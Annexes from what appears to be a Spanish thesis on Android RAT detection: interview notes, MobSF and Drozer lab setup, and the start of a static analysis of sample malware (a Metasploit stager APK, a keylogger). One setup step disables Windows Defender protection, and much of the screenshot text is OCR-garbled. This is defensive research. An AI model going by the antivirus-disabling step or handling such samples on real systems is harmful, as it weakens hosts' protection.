total o de apisboy que son plataformas que estan en la nube son los que me devolvian si
eran virus o no, cogia el paquete que era recolectado por el trafico de red y eso le enviaba al
apivoy y el apisvoy me devolvia este es virus, este no, pero ya la base de datos estaba ya en
estas herramientas. Un estudiante ya desarrollo esta estructura.

¢ Cudles son las técnicas de deteccidn estatica que considera més efectivas para identificar
RAT en plataformas Android, y por qué?

Ya viene con plataformas como x ejemplo chatboitng, fortigate ya viene con licencia pero no
puedo modificar. Esta es una pregunta cerrada y muy técnica, no me podria ayudar con esta
pregunta.

El tema de nist pide mucho requisitos para implementarla, se podria decir es la esencia para
tener Ciberseguridad.

Otras entidades utilizan owasp como también se ha estudiado en clases.

Desde su perspectiva, ¢qué limitaciones tienen las técnicas de deteccion estatica cuando se
utilizan solas en el analisis de RAT?

Una desventaja clara es el que una persona de Ciberseguridad confia mucho en una aplicacion
cerrada es como si que si tengo un antivirus confié en el y se g no me va a pasar nada entre
risas pero se sabe que esto no es real.

Hace hincapié que se debe tener méas d una alternativa.

Se guia mas en su linea de trabajar en tema de Ciberseguridad por cable y se habla de una
analogia de trabajar como el de capas de cebolla.

¢ Qué técnicas de deteccion dindmica ha encontrado mas Utiles para la identificacion de
RAT, y como complementan las técnicas de deteccion estatica?

Las técnicas que desarrollan las mismas personas utilizando librerias libres de Python porque
las que se desarrollan porque estas son mas amigables y uno busca las capacidades de
adiestrarlo a su gusto y paciencia como decir ah no me gusta eso y lo cambio.

Se complementan al momento de combinarlas y no realizarlas de manera hibrida que es aqui
donde interviene la seguridad por capas.

¢ Podria describir algin caso en el que la combinacion de técnicas de deteccion haya
resultado en la identificacion de RAT que no se habria detectado utilizando solo una de las
técnicas?

El caso de un estudiante que realizo una herramienta de testeo y se conecto con un servicio
en la nube lo usaba en la empresa y con eso empezaba a detectar malwares y virus de todo
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tipo que no eran detectados por su antivirus, entonces el corria la aplicacién, la aplicacion
solo funcionaba en el segmento de red todas las maquinas que estaban prendidas en ese
momento comenzaba a testear, si una de las maquinas estaba mandando algun tipo de
mensaje de tipo que tiene algin patrén de tipo malware o de tipo virus, el virus entonces
enseguida le enviaba la alerta y el estudiante iba a la maquina para ver qué es lo que estaba
pasando Osea ya le daba un alerta x eso sugiere las herramientas de desarrollo aunque no
descarta las herramientas pagadas pero el tema es ¢ son caras y eso dificulta poder probar o
si no tener versiones demo de pocos dias que da y eso no favorece al estudio.

En términos de implementacion, ¢qué desafios ha enfrentado al combinar técnicas de
deteccion estaticas y dindmicas, y como los ha superado

El termino indica que es el sistema operativo aunque existen diversidad de estos, cuando se
va a realizar la implementacion a las empresas pues te topas desde Windows 10, hasta xp y
Windows 7 pues en estos casos no sabe si va a funcionar con estos la herramienta o de pronto
hay entidades que se va a implementar con Linux, Ubuntu, unos tienen debian otros fedora
tienen diversidad d Linux.

Sugiere tener una tercera maquina tener una simulacién de un ids o d un firewall adicional a
las dos maquinas

Una tercera maquina que tenga pfsense y te haga algun tipo de deteccion.

¢ Qué métricas considera mas relevantes para evaluar la precision y eficacia en la deteccion
de RAT al usar técnicas combinadas en comparacion con técnicas individuales?

Por ahora lo que se ha hecho es poder valorarlo con algoritmo de la inteligencia artificial y
bueno hay las métricas que varian de acuerdo al algoritmo escort avengers.

Precision hay varias métricas que se pueden evaluar de acuerdo al algoritmo, dentro de las
herramientas fisicas se podria decir evaluar un checkpoint vs un fortinet, cuales son las
bondades del uno y el otro.

¢ Qué recomendaciones daria a los investigadores y profesionales de la Ciberseguridad sobre
el uso de técnicas de deteccion combinadas para mejorar la deteccion de malware en
dispositivos Android?

Su recomendacion es :
Trabajen en estructuras de seguridad por capas.
Uso de las metodologias hibridas tanto las estaticas como dinamicas.

No confiar de las aplicaciones con licencia si no tal vez tener mas aplicaciones que generen
niveles de seguridad.

Crear cultura de Ciberseguridad.
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ANEXO #3
FASE |I: CONFIGURACION DEL
LABORATORIO VIRTUAL
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INSTALACION DE HERRAMIENTA MOBSF

1. Visitar el repositorio oficial de mobsf en github para copiar el repositorio

Maquina Ver Entrada Dispositivos Ayuda

Actividades ® Navegador web Firefox 31demay 02:08

€) GitHub - MobSF/Mobile-- x | +

¢] C B8 github.com

. o Product Solutions Open Source Pricing

Signin ‘ Sign up ‘

H MobSF / Mobile-Security-Framework-MobSF  Fuic Q sponsor | [ Nofifications | 47 Fork 3.1k Yr Star 165

<> Code (D lssues 8 7 Pullrequests 3 ( Actions [f] Projects 7 (@ Secuity 8 |~ Insights

3 master ~ | §* 5 Branches Q47 Tags Go o fle About

3 Clone ® Mobile Security Framework (MobSF) is
45 ajinabraham [HOTFIX] Support AAB with MobSF, Convert A/ an automated, all-in-one mobile
HTTPS  GitHub CLI application (Android/iOS/Windows) pen-
github EFR] AuthZ testing, malware analysis and security
https://github.com/MobSF/Mobile-Security-F1 (O assessment framework capable of
LICENSES HOTFIX: Rel erforming static and dynamic analysis.
Clone using the web URL. P 9 v YIS
mobsf [HOTFIX] Su -
@7 opensecurity.in
scripts [EFR] Authz  [{) Download ZIP = G =
[ .dockerignore HOTFIX] Migrate from setup.py o poetry, tox QA (#2... 9 months ago CEICSETE el R TANEEEy

malware-analysis  mobsf  android-security

0O

gitignore HOTFIX] Migrate from setup.py to poetry, tox QA (#2... 9 months ago

mobile-security  windows-mobile-security

oo

Imagen 1: Descargar el repositorio de mobsf desde github

2. Clonacion del repositorio

vo Miquina Ver Entrada Disposit
Actividades () Terminal 31demay 02:09

$* ~ root@hacking-VirtualBox: /home/hacking Q

root@hacking-virtualBox: /home/hacking# git clone https://github.com/MobSF/Mobile
-Security-Framework-MobSF.git

Clonando en 'Mobile-Security-Framework-MobSF'...

remote: Enumerating objects: 20757, done.

remote: Counting objects: 100% (282/282), done.

remote: Compressing objects: 100% (184/184), done.

Becibiendo objetos: 10% (2076/20757)

Imagen 2: Clonar el repositorio Mobsf en maquina virtual Ubuntu
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3. Dirigir a la carpeta de MobSF

o Maquina Ver Entrada Dispositivos Ayuda

Actividades B3 Terminal 31de may 02:13

‘$ A1  root@hacking-VirtualBox: /home/hacking/Mobile-Security-F. (e} = = u] X

P
L J

root@hacking-virtualBox: /home/hacking/Mobile-Security-Framework-MobSF# 1s
docker -compose.yml poetry.lock run.bat setup.bat
Dockerfile pyproject.toml

LICENSE README . md tox.ini
root@hacking-VvirtualBox: /home/hacking/Mobile-Security-Framework-MobSF#

Imagen 3: Ir a la carpeta Mobsf para seguir con la configuracion

4. Con el comando Is — la permite listar los archivos en la carpeta para hallar el setup de

instalacion, con el comando ./setup empieza la instalacion de las dependencias para la
herramienta

) Miquna Ver Entrada Dispositivos Ayuda

Actividades B3 Terminal 31demay 02:18

“

s
=
©
B

[l  root@hacking-VirtualBox: /home/hacking/Mobile-Security-Framework-Mo... Q

root@hacking-VvirtualBox: /home/hacking/Mobile-Security-Framework-MobSF# bash setup.sh
[INSTALL] Found Python 3.10.12
pip 22.0.2 from /usr/lib/python3/dist-packages/pip (python 3.10)
[INSTALL] Found pip
Requirement already satisfied: pip in /usr/lib/python3/dist-packages (22.0.2)
Collecting pip

Downloading pip-24.0-py3-none-any.whl (2.1 MB)

Installing collected packages: pip

Successfully installed pip-24.0

[INSTALL] Installing Requirements
Requirement already satisfied: wheel in /usr/lib/python3/dist-packages (0.37.1)
Collecting poetry== i |

Downloading poetry-1.6.1-py3-none-any.whl.metadata (6.8 kB)
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Imagen 4: Ejecutar el archivo setup para instalar dependencias

5. Proceso de instalacion

o Miquina Ver Entrada Dispositivos Ayuda

Actividades () Terminal 31de may 02:19

$$ [l root@hacking-VirtualBox: /home/hacking/Mobile-Security-Framework-Mo... G k=

Mobile Security Framework v4.0.2
REST API Key: 58999904c093c7eb6e21e870d28a2d2588b0210ba33c546a98e3703117c433bc
Default Credentials: mobsf/mobsf

©
=

Terminado

setup.sh: linea 63: wkhtmltopdf: orden no encontrada

Download and Install wkhtmltopdf for PDF Report Generation - https://wkhtmltopdf.org/downlo
ads.html

[INSTALL] Installation Complete I
root@hacking-VvirtualBox: /home/hacking/Mobile-Security-Framework-MobSF#

Imagen 5: Instalacion de mobsf completa

6. Ejecutar el archivo run.sh

o Maquina Ver Entrada Dispositivos Ayuda
Actividades () Terminal 31demay 02:19

‘s [l root@hacking-VirtualBox: /home/hacking/Mobile-Security-Framework-Mo... Q = i

root@hacking-virtualBox: /home/hacking/Mobile-Security-Framework-MobSF# bash run.sh
[2024-05-31 ©2:19:39 -0560] [4424] [INFO] Starting gunicorn 22.6.6

[2024-05-31 0 39 -0500] [4424] [INFO] Listening at: http:// 8000 (4424)
[2624-065-31 O 39 -0500] [4424] [INFO] Using worker: gthread

[20624-05-31 02:19: -0500] [4427] [INFO] Booting worker with pid: 4427

Imagen 6: Ejecucion de archivo run.sh para empezar Mobsf
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7. Portal de Inicio

31 de may 02:20

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE » DOCS ABOUT Search MD5

MobSF

[
-

e
ad
@ Signin to access
A
?

a

> .
SignIn

Imagen 7: Portal de Mobsf
INSTALACION DE LA HERRAMIENTA DROZER

8. Descargar Python 2.7.18 para ejercer la instalacion correcta de la version de drozer

para el anlisis de malware de forma dindmica

python.org/c

Downloads Documentation Community Success Stories Events

Python 2.7.18

[Release Date: April 20, 2020
[Python 2.7.18 is the last release of Python 2.

Files

Version Operating System Description MDS5 Sum FileSize  GPG
Gzipped source tarball Source release 38¢84292658ed44561571951cobcbel 167MB  SIG
XZ compr d source tarball Source release fdEccBec0aT8c44036f825e739136e5a 12.3MB sIG

macOSs 64-bit installer macos for 0S X 10.9 and 1ater ce98eeb7bdf806685adc 26561444463 23.7MB SIG

Windows help file windows. b3b753dffe1c7930243c1ca0ec3aT2bl 6.0 MB. siG

debug information fi windows 20b111ccfe8d06d2fe8cTT679a86113d 24.0MB SIG

ws debug information files 4-bit binaries windows bb0&97ea20fda343e5179d413d4a4aic 24 8MB sSIG
Windows x86 MS| Installer windows dbGad9195b3086c6b4cefbo493d738d2 18.7MB siG
windows x86-64 MSI installer windows for AMDE4/EMBAT/XE64 a425¢758d38f8e28b5614724b499239a 19.6 MB SIG
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Imagen 8: Instalacién de Python 2.7.18 en Windows

9. Abrir laterminal una vez que se haya instalado Python para efectuar la instalacion de
algunas librerias esenciales para drozer

te equipo > Disco local (C:) » Python27

MNormbre

B ous
l Doc
l include

Fecha de modificacién | Tipe Tamafio

Carpeta de archive
Carpeta de archiv

Carpeta de ar

16.6.19045
n. Todos los der s reservados.

Python27>

Imagen 9: Instalacién completa de Python — Instalar dependencias para Drozer

10. Con el comando Python.exe —m pip install protobuf se instala protobuf, se utiliza para
serializar y deserializar datos estructurados de manera eficiente. Esto es especialmente util
en aplicaciones que transmite datos en sistemas o almacenarlos de forma compacta.

[6]  L ITILIUWS |YSLETTISE A LITIOLERE

{2 j'r 3 :I
protobuf) (1.16.8)

mand.

73



Imagen 10: Instalacion de protobuf

11. Con el comando “Python.exe —m pip install pyopenssl”, sirve para emplear operaciones

relacionadas con la seguridad, como por ejemplo manejar certificados SSL/TLS, establecer

conexiones seguras Yy realizar tareas de criptografia general.

Imagen 11: Instalacion de pyOpenssl

12. Con el comando “Python.exe —m pip install twisted”, esta disefiado para construir
aplicaciones que necesitan manejar conexiones de red, como servidores, clientes, con gran

escalabilidad y eficiencia.

Requir 3
Requirement alr
Requirement alr
Requirement 2
Requirement alr
Requirement alr
Requirement s

Requirement alr
Requirement alr
Requirement 2
Requirement
tuisted) (
Requirement
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Imagen 12: Instalacion de Twisted

13. Una vez instalado las librerias necesarias, descargar el client de drozer desde drozer

withsecure labs la version de drozer 2.4.4 en win32.msi

244

+ [Build Process] AppVeyor updated to deploy Windows installer
+ [Build Process] Fixed versioning of whl, deb and rpm packages

+ [Bug Fixes] Several bug fixes

v Assets

Imagen 13: descargar el client Drozer para Windows

14. Para poder descargar el archivo se necesita desactivar el antivirus y el analisis de archivos

maliciosos en tiempo real, como asi mismo el analisis de red.

Configuracién de Proteccién contra
virus y amenazas

mejorar la seguridad de
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Imagen 14: Desactivar la proteccidn contra virus y amenazas para descargar el client Drozer

15. El archivo una vez que las configuraciones de seguridad de Windows defender estén off, el
archivo es descargable para que asi sea guardado desde python2.7 para su instalacion y
dependencia desde ese repositorio

MNombre . Fecha de modificacién Tipo Tamafio

. DLLs /1172024 22 Carpeta de archivo

. Doc 422 Carpeta de archivo

. include 4 22:3 Carpeta de archin

. Lib - Carpeta de archiv

. libs 1172024 Carpeta de arc

. Scripts 422 Carpeta de archivo

. tel (1172024 Carpeta de archin

. Tools /1172024 22:31 Carpeta de arc

Paquete de Windo...

! umento de te...

. MEWS 2020 0 Jocumento de te...

C% python Aplicacion

@ pythonw '4/2020 Aplicacion

. README W4,2020 11:20 Documento de te...

Imagen 15: Copiar el archivo Drozer en la carpeta de Python 2.7.18

16. Se ejecuta la instalacion de drozer desde Windows con siguiente, siguiente, y siguiente

Administrar

Tamaiio

peta de archiv
peta de archiv

rchiv

Welcome to the Python drozer-2.4.4 Setup Wizard

Select whether you want to repair or remove Python drozer-2.4.4.

@ Repair Python drozer-2.4.4

ORemove Python drozer-2.4.4
No hay ninguna vista previa disponible.
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Imagen 16: Ejecutar el ejecutable para la instalacion de Drozer

17. Para comprobar la instalacion de drozer correctamente se ejecuta el comando “drozer”

[COMMAND]

Run “drozer [COMMAND] --help™ for more usage information.

Commands :
console
module
server
material
o deploy drozer

y drozer

Imagen 17: Finalizado la instalacion de Drozer

18. Ejecutar el comando drozer console connect para verificar la interfaz de drozer y saber que
debug se hallan antes de probar

Commands :
console
module

~ supported by t

* running?
iate adb

ied the
ted w

tion:
No se puede establecer una cone n ya que el equipo de destino denegi expresamente dicha c

Imagen 18: Verificacion de la interaccion de Drozer
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19. Con el comando “Python.exe —m pip install service identity”, sirve para identificar y

validar correctamente los certificados SSL/TLS durante la conexién de un servidor.

Requirement
Requirement a
Requiremen
Requiremen
1.8

Requiremen
Requiremen
Requiremen
Requirement

W onon

Imagen 19: Instalacion de service_identity
DROZER AGENT - ANDROID

20. Se ejerce la descarga de la herramienta Drozer Agent para lograr la interaccion entre el
client drozer y el agent . Se descargar el agent Drozer 2.5.0

Feb 11, 2022

& vogehi © 2.5.0

302cC Compare ~

2.5.0

Added some stuff that | implemented for
Pwn20wn 2021

v Assets a
PDdrozer-2.5.0.apk
1.11 MB Feb 11, 2022

[f)Source code (zip)

Feb 11, 2022

[)Source code (tar.gz)
Feb 11, 2022

rerm Privacy  Security ontact

Manage cookies Do not share my personal informatior

Imagen 20: Descargar el agent Drozer para Android
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21. Archivo descargado exitosamente

1259 v & \ =il 98% M

Descargas & Q X
4.12 MB de 23.98 GB en uso
Recién

B drozer-2.5.0.apk .

4.31 MB + githubusercontent.com

17 de noviembre de 2024

B prueba.apk
10.24 KB + 192.168.100.101

Imagen 21: Drozer.apk descargado exitosamente

22. Ejecutar la instalacion de la aplicacién

drozer Agent

¢Deseas instalar esta aplicacién?

Cancelar Instalar

Imagen 22: Instalar Drozer
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23. Drozer instalado correctamente con la opcion de server en off

drozer

Embedded Server
31415

I (=) <

. -
Imagen 23: Drozer instalado correctamente

24. Se da por encendido el server drozer del agent que cuenta con puerto 31415

Started embedded server on port
31415.

Embedded Server @
31415

Imagen 24: Activar la opcion Embedded Server
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25. Para interactuar con las herramientas se necesita la instalacion de Android Tools Plataforms

para ejercer la visualizacion de archivo, conexidn, entre otros. Dar clic en SDK Windows.

Notas de la versién de las et X+ v 5]

< () 0 developer.android.com/tools/releases/platform-tools?hl=es-4 4 L@ <$ ewn
ant. D lopers - Disefio y - Desarrollo v Google Play Comunidad Q Buscar f ® Espafiol - A.. - Android Studio Acceder
Descargar Editor de Android Studio Gemini en Android Studio Complemento de Android para Gradie Herramientas del SDK Versién preliminar
Las Herramientas de la plataforma del SDK de Android son un componente JeT SDK de Andrord. Se incluyen
st herramientas que interactuan con la plataforma de Android, principalmente adb y fastboot . Sibien adb es En esta pagina
obligatorio para el desarrollo de apps para Android, por lo general, los desarrolladores de apps solo usaran la copia o

que instala Studio. Esta descarga es Util si deseas usar adb directamente desde la linea de comandos y no tienes

instalado Studio. i tienes Studio instalado, te recomendamos que uses la copia que instalaste, ya que Studio la Revisiones

Novedades sobre las

~ actualizara de manera automatica. Se necesita fastboot si quieres el detu y
herramientas del SDK 3 . A
actualizarlo con una nueva imagen del sistema. Este paquete solia contener systrace , pero quedd obsoleto y se
Notas de la version de la reemplazo por el generador de perfiles, gpuinspector.dev o Perfetto.

herramienta de compilacion del

Aunque algunas funciones nuevas en adb y fastboot solo estan disponibles para versiones recientes de Android
Notas de la versidn e les (dado que son retrocompatibles) por lo que solo necesitas la versién mas reciente de las Herramientas de la
herramientas de linea de plataforma de SDK. Ademas, debes informar errores si encuentras excepciones,
comandos del SDK

Notas de la version de la
plataforma del SDK Descar‘gas
Notas de la version de las
herramientas de la plataforma Si eres desarrollador de Android, deberias obtener la version mas reciente de las Herramientas de la plataforma del
del SDK SDK desde SDK Manager de Android Studio o desde la herramienta de linea de comandos sdkmanager . De esta
manera, podras asegurarte de que las herramientas se guarden en el lugar correcto con el resto de las herramientas
Herramientas de linea de del SDK de Android y puedan actualizarse facilmente.
comandos

Sin embargo, si solo quieres estas herrami de linea de usa los siguientes vinculos:

+ Como descargar las Herramientas de la plataforma del SDK para Windows
+ Como descargar las Herramientas de la plataforma del SDK para Mac

@ « Coémo descargar las Herramientas de la plataforma del SDK para Linux

Imagen 25: Descargar Android Tools Plataforms

26. Una vez aceptado SDK para Windows aceptar los términos y descargar la herramienta

android.com form-tools7h| AN
a TG, SeeTon, Jurere e, o pena )OS0 Y aoT0 (MCTOIO0 T TICT AT oS e
surjan o se acumulen a partir (a) de su uso del SDK, (b) de cualquier aplicacion que usted desarrolle en el SDK que constituya una infraccion de cualquier derecho de autor, marca
comercial, secreto comercial, imagen comercial, patente u otro derecho de propiedad intelectual de cualquier persona, o la difamacion a cualquier persona o la infraccion de sus
derechos de publicidad o privacidad, y (c) de cualquier incumplimiento de su parte con respecto al Acuerdo de licencia.

13. Cambios en el Contrato de Licencia

13.1 Google puede realizar cambios al contrato de licencia a medida que distribuye nuevas versiones del SDK. Cuando se realicen estos cambios, Google emitira una nueva version del
contrato de licencia, que estara disponible en el sitio web donde se comercialice el SDK.

14. Condiciones legales generales

14.1 €l Contrato de Licencia representa en su totalidad el contrato legal entre usted y Google, regula el uso que haga del SDK (se excluye cuslquier servicio que Google pueda
proporcionarle conforme a un contrato por escrito independiente) y reemplaza por completo cualquier contrato anterior entre usted y Google en relacion con el SDK. 14.2 Usted acepta
que, si Google no ejerce ni impone un derecho o solucin legal especificado en el Contrato de Licencia (o del que Google sea beneficiario conforme a cualquier ley aplicable), esto no se
considerara como una renuncia a los derechos de Google y se entenderd que Google seguir siendo beneficiario de esos derechos o soluciones legales. 14.3 Si un tribunal que tenga
jurisdiccion para decidir sobre este asunts dictamina que alguna disposicién de este Contrato de Licencia no es valida, se quitara esa disposicién sin afectar al resto del Contrato de
Licencia. Las disposiciones restantes del Contrato de Licencia continuaran siendo validas y aplicables. 14.4 Reconoce y acepta que cada uno de los miembros del grupo de empresas de
las que Google es la casa matriz serdn beneficiarios terceros del Contrato de Licencia y que esas otras empresas tendran derecho a imponer directamente cualquier disposicion del
Contrato de Licencia que les confiera un beneficio (o que tengan derechos a su faver) y que podran ampararse en ella. Ademas de lo mencionado, nadie mas ni ninguna empresa seran
beneficiarios terceros del Contrato de Licencia. 14.5 RESTRICCIONES SOBRE LA EXPORTACION. EL SDK ESTA SUJETO A LAS LEYES Y NORMATIVAS DE EXPORTACION DE ESTADOS
UNIDOS. USTED DEBE CUMPLIR CON TODAS LAS LEYES Y NORMATIVAS INTERNACIONALES Y NACIONALES DE EXPORTACION QUE SE APLICAN AL SDK. ESTAS LEYES INCLUYEN
RESTRICCIONES SOBRE LOS DESTINOS, LOS USUARIOS FINALES Y LA FINALIDAD. 14.6 Ni usted ni Google podran asignar ni transferir los derechos que se otorgan en el Contrato de
Licencia sin la aprobacion previa por escrito de la otra parte. Ni usted ni Google podran delegar sus responsabilidades u obligaciones del Contrato de Licencia sin |a aprobacion previa por
escrito de la otra parte. 14.7 El Contrato de Licencia y la relacion con Google que surge del Contrato de Licencia se regirén por las leyes del estade de California, independientemente de
su conflicto con las disposiciones legales. Usted y Google aceptan someterse a la jurisdiccion exclusiva de los tribunales ubicados en el condado de Santa Clara, California, para que
resuelvan todo problema legal que surja de este Contrato de Licencia o esté relacionado con él. No obstante, usted acepta que Google aun podré salicitar recursos judiciales (o una clase
equivalente de compensacion legal urgente) en cualquier jurisdiccion. 27 de julio de 2021

Lei y acepto los Términos y Condiciones anteriores

Descargar Android SDK Platform-Tools para Windows

platform-tools-latest-windows.zip

le.com/android/repository/platform-to

Imagen 26: Condiciones para descargar el SDK de Android Tools Plataforms
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27. Guardar la descarga

oper.android.con a guardar
I Este equipo Descargas
Organizar Mueva carpeta

BN Este cquipo MNombre

Fecha de modificacién Tipo Tamafio
Descargas Ay

E Documentos B platform-to latest-wind

M Escritorio B rali-linux-202 Terree T

B Imagenes Al principio de este me

Musica

E Packet_Tracer822_64bit_setup_signed

zip
WIP Carpeta de archivos

. lecuperar

Carpeta de arch
. Documents_backup

Carpeta de arch
El mes pasado (8)

platferm-tools-latest-windows (1)

NinRAR ZIP

# Ocultar carpetas Guardar Cancelar

Imagen 27: Plataforms descargado

28. Una vez descargado el archivo, se da en extraer aqui para descomprimir la carpeta del

archivo almacenado para asi copiar y pega en archivos programas(x86) en el disco.

ograma (x86)

pets

Carpeta de s

24 elementos |

Imagen 28: Extraer el archivo del formado zip
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29. Ahora editar las variables de entorno para que la herramienta funcione correctamente
efectuando los comando tanto en usuario como administrador. Para ello, en el panel de

Windows escribir “editar variables”

Propiedades del sistema x

Mombre del equipo Hardware
Opcicnes avanzadas Proteccion del sistema Remato

Para realizar la mayoria de estos cambios, inicie sesion comao administradar.
Rendimiento

Efectos vizuales, programacion del procesador, uso de memoria y

memania virtual

Perfiles de usuario

Corfiguracion del escritorio comespondiente al inicio de sesion

Configuracion...

Inicio y recuperacion

Inicio del sistema, emores del sistema e informacion de depuracian

Configuracion...

Variables de entomo...

Aceptar Cancelar Aplicar

Imagen 29: Editar variables de entorno para el funcionamiento del SDK

30. Dar clic en variables de entorno y seleccionar en variables de entorno del sistema la seccion
‘GPATH”

Variables del sistema

Variable Valor e
DriverData ChAWindowsh Systern 32\ Drivers DriverData
JaA_HOME Ch\Program Files\Java'jdk1.8.0_261
MUMBER_OF_PROCESSORS 4
Qs Windows_MNT
ChProgram Files (x86\Common Files\OraclehJava\javapath; &:h\Win...
PATHEXT LCOM;.EXE,.BAT:..CMD; VBS; VBE; J5;.J5E; W5F W5H;.M5C
PROCESSOR ARCHITECTURE  AMDE4 hd
Mueva... Editar... Eliminar

Imagen 30: Editar el path para insertar la ruta del SDK
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31. Dar clic en editar y pegar la direccion en donde se encuentra la herramienta adb que
corresponde la carpeta “plataforms_tools”, para ello dar clic en nuevo y pegar la ruta y asi

aceptar, aceptar en todo.

Editar variable de entorne

C:\Program Files (x86)\Common Files\Oracle\Java\javapath Nuevo
FSystemRoot ¥ system32

FSystemRoot® Editar
Fe5ystemRoot e\ System32\Whem

F6SYSTEMROOT?:\Systern32\WindowsPowerShellw1.0\ Examinar...

F65YSTEMROOT?:\ Systemn32\ OpenSSHY
C:\Program Files\nodejst,
SelAVA_HOME\bin
C\ProgramData'\chocolatey\bin

C\Program Files (x86)\platform-tools Subir

Bajar

Eliminar

Editar texto...

Imagen 31: Insertar la ruta del plataforms tolos

32. Una vez desarrollado aquello se realiza la prueba desde la CMD ejecutando adb

if multiple d
if multiple TCP/IP de
1 ANDROID

name o d calhost]

port of adb
[def
11 only connect to one USB dev

ion num

to a devi via TCP/IP [default port=5

P/IP device [default port=5 ], or all
CODET

Imagen 32: Prueba de ADB en el CMD
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33. Yainstalado la herramienta adb, ejecutar el comando adb devices para conocer el dispositivo
conectado para efectuar la interaccion con drozer, conectar el dispositivo con cable USB y
efectuar el permiso de transferencia de archivos para dar permiso. Y una vez realizado el
comando adb devices — sale el identificador del movil con el status “devices” significa que

esta para uso.

Administrador: Simbolo del sistema

b devices
ed

Imagen 33: Ejecucion adb devices para conocer los dispositivos conectados

34. Luego ejecutar el comando “adb forward tcp:31415 tcp:31415 para permitir la escucha

desde el puerto del server del agent hacia el client de drozer en Windows

Imagen 34: Configuracion del tcp con el puerto del agent Drozer para la escucha
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35. Ahora desde la terminal de python2.7 efectuar el comando “drozer console connect” tomando
en cuenta que la aplicacion drozer agent debe estar en modo open para su funcionamiento,
no en modo reposo 0 no abierta, ya luego de su conexién en modo reposo se interactia sin
problema.

n 2 is no longer supported
ed in the r release.

Imagen 35: Ejecucién de Drozer console connect con el dispositivo configurado

36. Con el comando list muestra las aplicaciones o archivos que el dispositivo Android cuenta.

Find activities that can handle the given intent
Gets information about exported activities.
Start an Activity

Get information about broadcast receivers

Send broa using an intent

.debu

re.info Get information about installed pac

7e. launchintent Get launch intent of pa
.list
.manifest

.native Find Native libraries embedded in the application.

Imagen 36: Comando de ayuda de Drozer para analizar
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ANEXO #4
FASE I11: ANALISIS
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ANALISIS ESTATICO - MALWARE'S

1. Se alza la herramienta MOBSF con el comando ./run.sh y se ingresa las credenciales de la

herramienta predefinidad “mobsf/mobsf” para acceder a la interfaz.

] Terminal 12denov 09;

root@prueba-VirtualBox: /home/prueba/Mobile-Security-Framework-MobsF

:-$ sudo su
[sudo] contrasena para prueba:
root@prueba-VirtualBox: /home/prueba# s

root@prueba-VirtualBox: fhome/prueba# cd Mobil urity-Framework-MobSF/
root@prueba-VirtualBox: /home/prueba/Mobile-Security-Framework-MobSF# 1s
docker-compose. yml poetry.lock run.bat setup.bat

Dockerfile pyproject. toml

LICENSE README . md tox.ini
root@prueba-VirtualBox: /home/prueba/Mobile-Security-Framework-MobSF# ./run.sh
[2024-11-12 1:27 -0500] 1 [INFO] Starting gunicorn 23.0.0

[2024-11-12 - ] [INFO] Listening at: http:/ 000 (1890)
[2624-11-12 -0500] [1890] [INFO] Using worker: gthread

[2024-11-12 -0500] [1893] [INFO] Booting worker with pid: 1893

Mobile Security Fr k v4.0.7
REST API Key: 56b19785b38aaB6af483995509bd57c6e7e9ae012bcIasd45677c17cab7234d7
Default Credentials: mobsf/mobsf

izoz-murlz ©9:28:17 -0500] [1890] [INFO] Handling signal: winch

Imagen 37: Ejecucion de mobsf para el anélisis estaticos de las muestras

2. En la pantalla principal se presenta una interfaz de usuario para insertar o cargar el archivo

analizar

Actividades ® Firefox 12de nov 09:29

*s (5 == Mobile Security Framewc X |+

SCANS DYNAMIC ANALYZER

& Upload & Analyze

RECENT SCANS | DYNAMIC ANALYZER | APl | DONATE v | DOCS | ABOUT

Imagen 38: Acceso a la interfaz de upload de archivo analizar
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3. Se busca el archivo analizar por anélisis estatico y se le da en abrir para seleccionar

12denov 09138 0

| +

O 8’ []8000

Cancelar Carga de archivos

{0 Recientes
[ Androidkeylogger.apk Descargas 1,6MB  paquete de Android 1nov

it Carpetapersonal  [E magis-video.apk Descargas 34,2MB  paquete de Android 26 oct
& prueba.apk Descargas 10,2kB  paquete de Android 26 oct

{ Descargas

B Documentos

(=) Imagenes

1 misica

H Videos

Abrir archivos de sélo lectura Todos los archives -

:]1:8000/dynamic_analysis,

Imagen 39: Seleccionar que muestras analizar (Prueba, keylogger, Magistv)

RESULTADOS ANALISIS DE APK PRUEBA

4. Se ha seleccionado la aplicacion prueba.apk para ejercer el analisis estatico y ver qué

informacién se logra encontrar.

® Firefox 12denov 09:39 03
(2 | == Mobile Security Framewc X = +

<« c O 8’ [

SCANS DYNAMIC ANALYZER HYCES o APl ABOUT O ~ _

&3 Upload & Analyze

Getting

RECENT SCANS | DYNAMIC ANALYZER | API | DONATE v | DOCS | ABOUT

Analysis started! Please wait to be redirected or check recent scans after sometime.

Imagen 40: Archivo Prueba.apk analizar

89



5. Una vez que finaliza el proceso de analisis del aplicativo APK a estudiar se observa la

informacién general de la APK como nombre, encriptacion, tamafio, entre otros aspectos.

® Firefox 12denov 09:40 0

== Static Analysis

RECENT STATIC DYNAMIC API DONATE DOCs ABOUT o- Search MD5

& APP SCORES ‘& FILE INFORMATION 1APP INFORMATION

(RN prueba.apk (T MainActivity
0.01MB (D com.metasploit.stage

f38bF1f6fa356fc849ddee67c4790ac3 MainActivity
Security Score B cecad3833cTe2e23id927dc3al65592c24aaa146 [Tareet sox BEA win sox B0 wax sox ]
sofr00 [shvasc ] Y crcia Version cove
ba2ea2dc7iB0TbIdB55Ch64efBc298¢I374d486912eTT4155526¢10 1
0/432 047082050

#® Android API &0 MobsF

‘ Scorecard

(L]

0
- 7 1 1 1 0

+ Reconna
ACTIVITIES SERVICES RECEIVERS PROVIDERS

5 View @ View @ View @ View ©
B r
8 Prin t Exported Exported Exported Exported

Activities Services B receivers Providers
0 <rart Dunamir o ' o

Imagen 41: Se encontr6 la informacion del package de la aplicacion la info general
6. Se observa el archivo AndroidManifest.xml y se encuentra los permisos de la aplicacion que
necesita para acceder a recursos del sistema o informacién del usuario, filtros de intent,

informacién de la aplicacion, entre otros.

® Firefox 12denov 09:41 0

*\ (5 == Static Analysis =2 AndroidManifestxml X | +

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATEw DOCs ABOUT o~

AndroidManifest.xml

<?xml version="1.6" encoding="utf-8"?>
<manifest 2 ersi = 1d:versionName="1.6" ge="com.metasploit.stage" platformguildversi le="10" platformBuildVersionName="2.3.1
1 1d="http://schemas.android, com/apk/res/android">
<uses-sdk android:minsdk "10" android: targets
aka
£

N £SakVersLonE=17"
.pernission, INTERNET"
01d.pernission. ACCE
01d.permission. CHA
